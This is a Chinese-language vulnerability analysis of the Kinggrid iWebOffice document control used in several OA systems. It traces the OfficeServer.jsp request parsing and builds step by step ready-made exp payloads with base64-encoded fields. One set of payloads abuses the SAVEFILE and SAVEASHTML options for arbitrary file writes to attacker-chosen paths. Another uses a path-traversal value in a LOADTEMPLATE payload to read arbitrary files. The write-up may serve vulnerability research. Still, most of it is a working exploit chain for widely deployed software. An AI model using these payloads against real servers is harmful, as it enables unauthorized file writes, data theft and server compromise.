前言
众所周知,多个oa中都使用了金格iWebOffice控件。但在不同的oa中exp多少存在差异性,尝试从代码层一探究竟。
简介
金格iWebOffice控件是一种文档控件,能够在浏览器上进行编辑word文档、excel表格等文档最终保存在服务器上,手写签名、电子签章广泛应用于此。所以oa都喜欢使用。
漏洞分析
以某oa为例,本地搭建OfficeServer.jsp进行访问。
首先创建iWebOffice类的实例,officeServer对象调用ExecuteRun方法。并传入request、response。
在ExecuteRun方法里,会创建出数据库对象和创建信息包对象。
iMsgServer2000 方法里DBSTEP V3.0字符串赋值为this._$906,this._$903创建出临时文件。而后调用deleteOnExit方法删除临时文件。
回到ExecuteRun方法里,往下判断请求方法是否为Post请求。
即必须使用Post方法进行请求。
当使用Post方法请求时,首先进入MsgObj.Load方法。跟进该方法。
一个修改编码的操作,然后调用了_$1027方法。
在该方法里以输入流的方式一次性读取到mRead,而后从mRead中读取64位长度保存到HeadString字符串中。接下来截取HeadString字符串的0-15位赋值为 this._$906,16-31位赋值为BodySize(int类型),32-47位赋值为ErrorSize(int类型),48-63位赋值为this._$907(int类型)即FileSize。代码走到这个地方,我们可以尝试初步构造一下这64位长度。
aaaaaaaaaaaaaaaa1 2 3
debug 跟踪一下
和我们计算的一样。
然后mRead会继续读取BodySize大小的数据并赋值为this._$904。
再往下,如果ErrorSize大于0,mRead会继续读取ErrorSize大小的数据并赋值为this._$905。
再往下,如果FileSize大于0,会创建出this._$903输出流,并最终写入文件。
再往下,如果FileSize小于BlockSize,mRead会继续读取FileSize大小的数据并写入mWite。到这里,我们可以对数据格式进一步调整。
aaaaaaaaaaaaaaaa8 2 3 bbbxxccc
至此MsgObj.Load方法就分析了,我们发现有一个文件写入的操作。但我们需要寻找可控制的参数来实现它。 现在回到OfficeServer.jsp页面中。
都用到了GetMsgByName方法。
该方法里判断this._$904里是否存在mFieldName,即DBSTEP=,如果存在才会进入if语句。而后以rn分割,并对值进行base64解码。
基于这个条件,我们完善我们的数据格式。
aaaaaaaaaaaaaaaa13 2 3 DBSTEP=MTExxxccc
再次回到OfficeServer.jsp中,因为都是由GetMsgByName方法获取的FieldName。我们依次构造一下。
DBSTEP要等于DBSTEP,即DBSTEP=REJTVEVQ
aaaaaaaaaaaaaaaa48 2 3 DBSTEP=REJTVEVQFILENAME=OPTION=USERNAME=xxccc
option可以理解为操作的方法,分别对应不同的if else语句。当option为SAVEFILE时,为保存文件到服务器。
依次构造出RECORDID、FILENAME、FILETYPE。再往下一个参数isDoc,当isDoc为true是,会保存到文件夹。保存的位置由moduleType定义。
此时数据格式为
aaaaaaaaaaaaaaaa127 2 3 DBSTEP=REJTVEVQFILENAME=OPTION=U0FWRUZJTEU=USERNAME=RECORDID=FILETYPE=isDoc=dHJ1ZQ==moduleType=aW5mb3JtYXRpb24=xxccc
再往下就看到保存文件的操作了。
MsgFileSave方法实现了将this._$903复制到FileName。
可以发现FileType由可以控制的,即可以控制FileName。比如FileType赋值为information,文件就会保存到/upload/information/ exp即为:
aaaaaaaaaaaaaaaa138 2 3 DBSTEP=REJTVEVQOPTION=U0FWRUZJTEU=USERNAME=RECORDID=MQ==FILENAME=FILETYPE=MS50eHQ=isDoc=dHJ1ZQ==moduleType=aW5mb3JtYXRpb24=xxccc
成功写入,现在只保留必须的参数即是exp。
aaaaaaaaaaaaaaaa101 3 4 DBSTEP=REJTVEVQOPTION=U0FWRUZJTEU=FILETYPE=MS50eHQisDoc=dHJ1ZQ==moduleType=aW5mb3JtYXRpb24=xxx1111
总结一下:exp总共是4部分。1、必须是64位的HeadString。即this._$906+BodySize+ErrorSize+this._$907
aaaaaaaaaaaaaaaa101 3 4
2、进行写入文件的必备参数。即
DBSTEP=REJTVEVQrnOPTION=U0FWRUZJTEU=rnFILETYPE=MS50eHQrnisDoc=dHJ1ZQ==rnmoduleType=aW5mb3JtYXRpb24=rn
计算该字符串长度即是BodySize 3、读取ErrorSize部分的字符。即xxx,为3位ErrorSize 4、读取this._$907部分的字符,即1111,为4位this._$907
在整个过程里,需要注意的是 1、字符串长度的计算最好使用代码实现,编辑器存在误差。2、因为FILETYPE的可控,完全可以写入任意路径。3、HeadString部分满足64位即可,不需要一定存在DBSTEP V3.0
以上就是当OPTION为SAVEFILE的利用,思考一下其他OPTION会存在漏洞吗?SAVEFILE操作产生漏洞的关键就是用了MsgFileSave方法且mFileType可控。依据这个思路寻找其他操作。如SAVEASHTML操作时也出现了MsgFileSave且mHtmlName可控。
构造一下exp
aaaaaaaaaaaaaaaa65 3 4 DBSTEP=REJTVEVQOPTION=U0FWRUFTSFRNTA==HTMLNAME=MTIzLnR4dA==xxx1111
成功写入。
除此之外,还有SAVEASPAGE、PUTFILE等操作均可以。在LOADTEMPLATE操作中,还存在一个MsgFileLoad任意文件读取。构造一下exp
aaaaaaaaaaaaaaaa111 0 0 DBSTEP=REJTVEVQOPTION=TE9BRFRFTVBMQVRFCOMMAND=SU5TRVJURklMRQ==TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==
但该漏洞只适用于windows环境下。因为linux在处理路径分隔符时有一些差异,无法找到该文件。
在windows下可正常读取。
总结
绘制一张粗糙的流程图回顾一下。